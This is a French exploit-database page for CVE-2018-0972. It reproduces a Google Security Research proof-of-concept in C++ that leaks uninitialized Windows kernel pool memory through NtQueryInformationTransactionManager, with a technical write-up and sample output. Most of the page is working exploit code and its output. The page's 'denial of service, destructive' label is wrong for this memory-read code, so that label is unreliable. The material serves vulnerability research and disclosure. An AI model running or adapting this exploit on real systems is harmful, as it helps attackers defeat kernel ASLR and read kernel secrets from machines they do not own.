Exploit matérialisé
CVE-2018-0972
HIGH1 exploit(s) public(s) pour cette CVE, 1 matérialisé(s) avec leur code.
À des fins de recherche défensive uniquement. Ne testez que sur des systèmes que vous possédez ou pour lesquels vous détenez une autorisation écrite. L'accès non autorisé est illégal.
ExploitDB
dos windows Vérifié
Source
Microsoft Windows - 'nt!NtQueryInformationTransactionManager (TransactionManagerRecoveryInformation)' Kernel Pool Memory Disclosure
Par Google Security Research
Comment tester cet exploit
Déni de service : envoie une entrée malformée pour crasher le service. À tester en VM isolée, l'effet est destructif.
Code cpp
/*
We have discovered that the nt!NtQueryInformationTransactionManager system call invoked with the TransactionManagerRecoveryInformation (4) information class may disclose uninitialized kernel pool memory to user-mode clients. The vulnerability affects Windows 7 to 10, 32/64-bit.
The output structure for the infoclass in question is an 8-byte TRANSACTIONMANAGER_RECOVERY_INFORMATION:
--- cut ---
typedef struct _TRANSACTIONMANAGER_RECOVERY_INFORMATION {
ULONGLONG LastRecoveredLsn;
} TRANSACTIONMANAGER_RECOVERY_INFORMATION, *PTRANSACTIONMANAGER_RECOVERY_INFORMATION;
--- cut ---
We've observed the entire returned value to consist of uninitialized bytes originating from a kernel pool allocation, and more specifically an object of type TmTransactionManagerObjectType.
The issue can be reproduced by running the attached proof-of-concept program on a system with the Special Pools mechanism enabled for ntoskrnl.exe. Then, it is clearly visible that all 8 bytes of output are equal to the markers inserted by Special Pools, and would otherwise contain leftover data that was previously stored in that memory region:
--- cut ---
C:\>NtQueryInformationTransactionManager.exe
Status: 0, Return Length: 8
00000000: 2d 2d 2d 2d 2d 2d 2d 2d ?? ?? ?? ?? ?? ?? ?? ?? --------........
C:\>NtQueryInformationTransactionManager.exe
Status: 0, Return Length: 8
00000000: 3f 3f 3f 3f 3f 3f 3f 3f ?? ?? ?? ?? ?? ?? ?? ?? ????????........
C:\>NtQueryInformationTransactionManager.exe
Status: 0, Return Length: 8
00000000: 57 57 57 57 57 57 57 57 ?? ?? ?? ?? ?? ?? ?? ?? WWWWWWWW........
C:\>NtQueryInformationTransactionManager.exe
Status: 0, Return Length: 8
00000000: 71 71 71 71 71 71 71 71 ?? ?? ?? ?? ?? ?? ?? ?? qqqqqqqq........
--- cut ---
Repeatedly triggering the vulnerability could allow local authenticated attackers to defeat certain exploit mitigations (kernel ASLR) or read other secrets stored in the kernel address space.
*/
#include <Windows.h>
#include <winternl.h>
#include <ntstatus.h>
#include <KtmW32.h>
#include <cstdio>
#pragma comment(lib, "ntdll.lib")
#pragma comment(lib, "KtmW32.lib")
extern "C" {
NTSTATUS NTAPI NtQueryInformationTransactionManager(
_In_ HANDLE TransactionManagerHandle,
_In_ TRANSACTIONMANAGER_INFORMATION_CLASS TransactionManagerInformationClass,
_Out_ PVOID TransactionManagerInformation,
_In_ ULONG TransactionManagerInformationLength,
_Out_opt_ PULONG ReturnLength
);
};
VOID PrintHex(PVOID Buffer, ULONG dwBytes) {
PBYTE Data = (PBYTE)Buffer;
for (ULONG i = 0; i < dwBytes; i += 16) {
printf("%.8x: ", i);
for (ULONG j = 0; j < 16; j++) {
if (i + j < dwBytes) {
printf("%.2x ", Data[i + j]);
}
else {
printf("?? ");
}
}
for (ULONG j = 0; j < 16; j++) {
if (i + j < dwBytes && Data[i + j] >= 0x20 && Data[i + j] <= 0x7e) {
printf("%c", Data[i + j]);
}
else {
printf(".");
}
}
printf("\n");
}
}
int main() {
HANDLE hTransactionMgr = CreateTransactionManager(NULL, NULL, TRANSACTION_MANAGER_VOLATILE, 0);
TRANSACTIONMANAGER_RECOVERY_INFORMATION Information;
DWORD ReturnLength = 0;
NTSTATUS Status = NtQueryInformationTransactionManager(hTransactionMgr, TransactionManagerRecoveryInformation, &Information, sizeof(Information), &ReturnLength);
printf("Status: %x, Return Length: %x\n", Status, ReturnLength);
PrintHex(&Information, sizeof(Information));
CloseHandle(hTransactionMgr);
return 0;
}